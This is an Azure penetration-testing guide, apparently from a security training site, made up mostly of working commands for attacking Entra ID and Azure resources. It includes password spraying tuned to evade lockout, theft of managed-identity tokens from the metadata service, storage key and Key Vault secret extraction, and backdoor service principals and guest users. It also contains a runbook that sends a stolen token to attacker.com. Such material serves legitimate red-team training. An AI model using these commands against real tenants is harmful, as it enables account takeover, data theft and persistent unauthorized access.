Cloud Security

Azure Pentesting

Azure pentesting involves assessing Entra ID (formerly Azure AD), Storage Accounts, Virtual Machines, and App Services. Identity attacks are particularly prevalent in Azure environments.

Azure Attack Methodology

1. Reconnaissance

  • Tenant enumeration (domain → tenant ID)
  • User enumeration via Azure APIs
  • Subdomain discovery (*.azurewebsites.net)
  • Storage blob enumeration

2. Initial Access

  • Password spraying (avoid lockouts)
  • Token theft (phishing, SSRF)
  • Exposed credentials in repos
  • Consent phishing (illicit app grants)

3. Privilege Escalation

  • Managed Identity abuse
  • App Registration secrets
  • Automation Account Runbooks
  • Key Vault access policies

4. Persistence

  • Service Principal creation
  • Federation trust abuse
  • App consent backdoors
  • Custom role assignments

Initial Access & Enumeration

Azure CLI Authentication

bash
# Interactive login (browser)
az login

# Login with service principal
az login --service-principal -u <app-id> -p <password> --tenant <tenant-id>

# Login with managed identity (from Azure VM/Function)
az login --identity

# List accessible subscriptions
az account list --output table

# Set active subscription
az account set --subscription "Subscription Name"

Tenant Enumeration (Unauthenticated)

bash
# Get tenant ID from domain
curl https://login.microsoftonline.com/<domain>/.well-known/openid-configuration

# Check if user exists (returns different error codes)
# Valid user: AADSTS50034 (user doesn't exist) vs AADSTS50126 (wrong password)
curl -X POST https://login.microsoftonline.com/<tenant>/oauth2/token \
  -d "grant_type=password&username=user@domain.com&password=test&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&resource=https://graph.microsoft.com"

# AADInternals user enumeration (no auth needed)
Invoke-AADIntReconAsOutsider -DomainName domain.com

Entra ID User & Group Enumeration

bash
# List all users
az ad user list --output table
az ad user list --query "[].{Name:displayName,UPN:userPrincipalName,ID:id}" -o table

# Get specific user details
az ad user show --id user@domain.com

# List all groups
az ad group list --output table

# List group members
az ad group member list --group "Group Name" --query "[].{Name:displayName,UPN:userPrincipalName}"

# Find privileged users (Global Admins, etc.)
az ad directory-role list --query "[?displayName=='Global Administrator'].{Name:displayName,ID:id}"
az ad directory-role-member list --role-id <role-id>

Application & Service Principal Enumeration

bash
# List all app registrations
az ad app list --query "[].{Name:displayName,AppId:appId,ID:id}" -o table

# List service principals (enterprise apps)
az ad sp list --query "[].{Name:displayName,AppId:appId,Type:servicePrincipalType}" -o table

# Find apps with credentials (potential targets)
az ad app list --query "[?passwordCredentials!=null].{Name:displayName,AppId:appId}" -o table

# Check app permissions (look for high-privilege)
az ad app permission list --id <app-id>

Storage Account Attacks

Warning

Common Misconfiguration: Storage accounts with anonymous access enabled or overly permissive SAS tokens are frequent findings in Azure assessments.

Storage Enumeration

bash
# List storage accounts
az storage account list --query "[].{Name:name,Location:location,Kind:kind}" -o table

# List containers in storage account
az storage container list --account-name <storage-account> --output table

# Check for anonymous access
az storage container show --account-name <storage-account> --name <container> --query "properties.publicAccess"

# List blobs (anonymous)
az storage blob list --account-name <storage-account> --container-name <container> --auth-mode anonymous

# Download blob
az storage blob download --account-name <storage-account> --container-name <container> --name <blob> --file ./downloaded-file

Storage Account Key Theft

bash
# If you have sufficient permissions, list storage keys
az storage account keys list --account-name <storage-account> --resource-group <rg>

# Use key to access all data
az storage blob list --account-name <storage-account> --container-name <container> --account-key <key>

# Generate SAS token for persistence
az storage account generate-sas --account-name <storage-account> --account-key <key> \
  --permissions rwdlac --services bfqt --resource-types sco \
  --expiry 2025-12-31T23:59:59Z

Managed Identity Exploitation

Managed Identities allow Azure resources to authenticate without credentials. If you compromise a VM, App Service, or Function with a Managed Identity, you can steal tokens for lateral movement.

Token Theft from IMDS

bash
# Azure Instance Metadata Service (IMDS) - available from within Azure resources
# Get instance metadata
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq

# Get access token for ARM (Azure Resource Manager)
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" | jq

# Get token for Microsoft Graph
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" | jq

# Get token for Key Vault
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" | jq

# Get token for Storage
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" | jq

Using Stolen Tokens

bash
# Use ARM token with Azure CLI
az account get-access-token  # Normal way
# OR use stolen token:
export AZURE_ACCESS_TOKEN="<stolen-token>"

# Use token with REST API directly
curl -H "Authorization: Bearer <token>" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Use token with Microsoft Graph
curl -H "Authorization: Bearer <graph-token>" \
  "https://graph.microsoft.com/v1.0/me"

# PowerShell - Connect with token
$token = "<stolen-token>"
Connect-AzAccount -AccessToken $token -AccountId <user-id>

Tip

Tip: Check what permissions the Managed Identity has by querying role assignments. Many organizations over-permission their Managed Identities with Contributor or Owner roles.

Key Vault Attacks

bash
# List accessible Key Vaults
az keyvault list --query "[].{Name:name,Location:location}" -o table

# List secrets in vault
az keyvault secret list --vault-name <vault-name> --query "[].{Name:name,Enabled:attributes.enabled}"

# Get secret value
az keyvault secret show --vault-name <vault-name> --name <secret-name> --query "value" -o tsv

# List keys
az keyvault key list --vault-name <vault-name>

# List certificates
az keyvault certificate list --vault-name <vault-name>

# Check access policies (who has access)
az keyvault show --name <vault-name> --query "properties.accessPolicies"

Entra ID / Azure AD Attacks

Password Spraying

Warning

Warning: Azure AD has smart lockout. Spray slowly (1-2 attempts per user per hour) and avoid common passwords that are in the banned password list.
powershell
# MFASweep - Test for MFA gaps
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@domain.com -Password 'Password123!'

# AADInternals - User enumeration and spray
Import-Module AADInternals

# Enumerate valid users (no auth)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt

# Spray with careful timing
Invoke-AADIntPasswordSpray -UserNameList users.txt -Password 'Spring2024!'

# Trevorspray (smarter spraying)
trevorspray -e users.txt -p 'Password123!' --url https://login.microsoftonline.com/<tenant>/oauth2/token

ROADtools - Comprehensive Enumeration

bash
# Authenticate
roadrecon auth -u user@domain.com -p 'password'
# Or with access token
roadrecon auth --access-token <token>

# Gather all Azure AD data
roadrecon gather

# Launch web GUI to explore data
roadrecon gui
# Opens browser at http://localhost:5000

# Dump specific data
roadrecon dump -o output/
roadrecon plugin policies  # Dump conditional access policies

AADInternals - Token Manipulation

powershell
Import-Module AADInternals

# Get tenant details
Get-AADIntTenantDetails -Domain domain.com

# Get access tokens for various resources
$token = Get-AADIntAccessTokenForMSGraph
$token = Get-AADIntAccessTokenForAADGraph
$token = Get-AADIntAccessTokenForAzureCoreManagement

# Use tokens to enumerate
Get-AADIntUsers -AccessToken $token
Get-AADIntGroups -AccessToken $token
Get-AADIntServicePrincipals -AccessToken $token

# Check for PRT (Primary Refresh Token)
Get-AADIntUserPRTToken

GraphRunner - MS Graph Exploitation

powershell
# Import GraphRunner
Import-Module GraphRunner.ps1

# Authenticate
Get-GraphTokens  # Interactive auth
# Or use existing token
$tokens = @{ access_token = "<token>" }

# Enumerate everything
Invoke-GraphRecon -Tokens $tokens -All

# Search for sensitive data
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password"
Invoke-SearchSharePoint -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchTeams -Tokens $tokens -SearchTerm "secret"

# Dump data
Get-AzureADUsers -Tokens $tokens
Get-SecurityGroups -Tokens $tokens
Get-UpdatableGroups -Tokens $tokens  # Groups you can add yourself to

Privilege Escalation

Automation Account / Runbook Abuse

bash
# List automation accounts
az automation account list --query "[].{Name:name,RG:resourceGroup}" -o table

# List runbooks
az automation runbook list --automation-account-name <account> --resource-group <rg>

# If you can create/modify runbooks, inject code:
# Runbooks often run with high-privilege Managed Identity

# Create malicious runbook (PowerShell)
$code = @'
$token = (Get-AzAccessToken -ResourceUrl https://management.azure.com/).Token
# Exfiltrate or use token
Invoke-WebRequest -Uri "https://attacker.com/token=$token"
'@

# Publish and run the runbook
az automation runbook replace-content --automation-account-name <account> \
  --resource-group <rg> --name <runbook> --content "$code"
az automation runbook publish --automation-account-name <account> \
  --resource-group <rg> --name <runbook>
az automation runbook start --automation-account-name <account> \
  --resource-group <rg> --name <runbook>

App Registration Abuse

bash
# Find apps you own or can modify
az ad app list --show-mine

# Add credentials to existing app (if you have Application.ReadWrite.All or owner)
az ad app credential reset --id <app-id> --append

# Create new service principal credential
az ad sp credential reset --id <sp-id> --append

# If app has high permissions, use new creds to authenticate
az login --service-principal -u <app-id> -p <new-secret> --tenant <tenant>

# Check what permissions the app has
az ad app permission list-grants --id <app-id>

Role Assignment Escalation

bash
# List your current role assignments
az role assignment list --assignee <your-id> --all

# Check if you can assign roles (User Access Administrator, Owner)
# If yes, grant yourself higher privileges
az role assignment create --assignee <your-id> --role "Contributor" --scope /subscriptions/<sub-id>

# List all role assignments (find over-privileged accounts)
az role assignment list --all --query "[?principalType=='User'].{Principal:principalName,Role:roleDefinitionName,Scope:scope}" -o table

Persistence Techniques

bash
# Create backdoor service principal
az ad sp create-for-rbac --name "LegitLookingApp" --role Contributor --scopes /subscriptions/<sub-id>
# Save the output credentials!

# Add federated credential (no secret needed)
az ad app federated-credential create --id <app-id> --parameters '{
  "name": "backdoor",
  "issuer": "https://attacker.com",
  "subject": "admin",
  "audiences": ["api://AzureADTokenExchange"]
}'

# Create persistent access via invited guest user
az ad user invite --invited-user-email-address attacker@gmail.com --invite-redirect-url https://portal.azure.com

# Add app consent (if you have admin)
# This allows an app to access data without user interaction
az ad app permission admin-consent --id <app-id>

AzureHound / BloodHound for Azure

AzureHound collects Azure AD and Azure Resource Manager data for analysis in BloodHound, revealing attack paths to high-value targets.

bash
# Install AzureHound
go install github.com/bloodhoundad/azurehound/v2@latest

# Authenticate and collect
azurehound -u user@domain.com -p 'password' list --tenant <tenant-id> -o azurehound.json

# Or use refresh token
azurehound -r <refresh-token> list --tenant <tenant-id> -o azurehound.json

# Or use JWT access token
azurehound -j <access-token> list --tenant <tenant-id> -o azurehound.json

# Import into BloodHound
# Upload azurehound.json via BloodHound GUI

# Key queries in BloodHound:
# - Shortest path to Global Admin
# - Find all Kerberoastable users
# - Users with path to Azure subscriptions

Azure Pentesting Tools

ROADtools

Reconnaissance
Docs

Framework for Azure AD recon. Gathers data and provides web GUI for exploring users, groups, apps, and policies.

Installation

bash
pip install roadtools

AADInternals

Exploitation
Docs

PowerShell module for Azure AD/Entra ID administration and offensive testing. Token manipulation, user enum, password spray.

Installation

bash
Install-Module AADInternals

GraphRunner

Post-Exploitation
Docs

Post-exploitation tool for MS Graph API. Search emails, SharePoint, Teams, OneDrive for sensitive data.

Installation

bash
Import-Module GraphRunner.ps1

AzureHound

Reconnaissance
Docs

BloodHound collector for Azure. Maps attack paths through Azure AD relationships and role assignments.

Installation

bash
go install github.com/bloodhoundad/azurehound/v2@latest

MicroBurst

Scanning
Docs

Collection of PowerShell scripts for Azure security assessments. Storage enum, REST API enum, Key Vault access.

Installation

bash
Import-Module MicroBurst.psm1

TokenTactics

Exploitation
Docs

Azure JWT token manipulation toolkit. Forge, decode, and abuse access tokens and refresh tokens.

Installation

bash
Import-Module TokenTactics.psd1

MFASweep

Reconnaissance
Docs

Test for MFA enforcement gaps across Azure services. Identifies services that don't require MFA.

Installation

bash
Import-Module MFASweep.ps1

Stormspotter

Reconnaissance
Docs

Azure Red Team tool for graphing Azure and Azure AD objects. Visualizes relationships and attack paths.

Installation

bash
docker pull msazure/stormspotter

ScubaGear

Scanning
Docs

CISA's tool for auditing M365 security configurations. Checks against security baselines.

Installation

bash
Install-Module ScubaGear

Trevorspray

Exploitation
Docs

Advanced password sprayer for Azure/O365. Supports proxy rotation, smart lockout avoidance.

Installation

bash
pip install trevorspray

Practice Labs

External Resources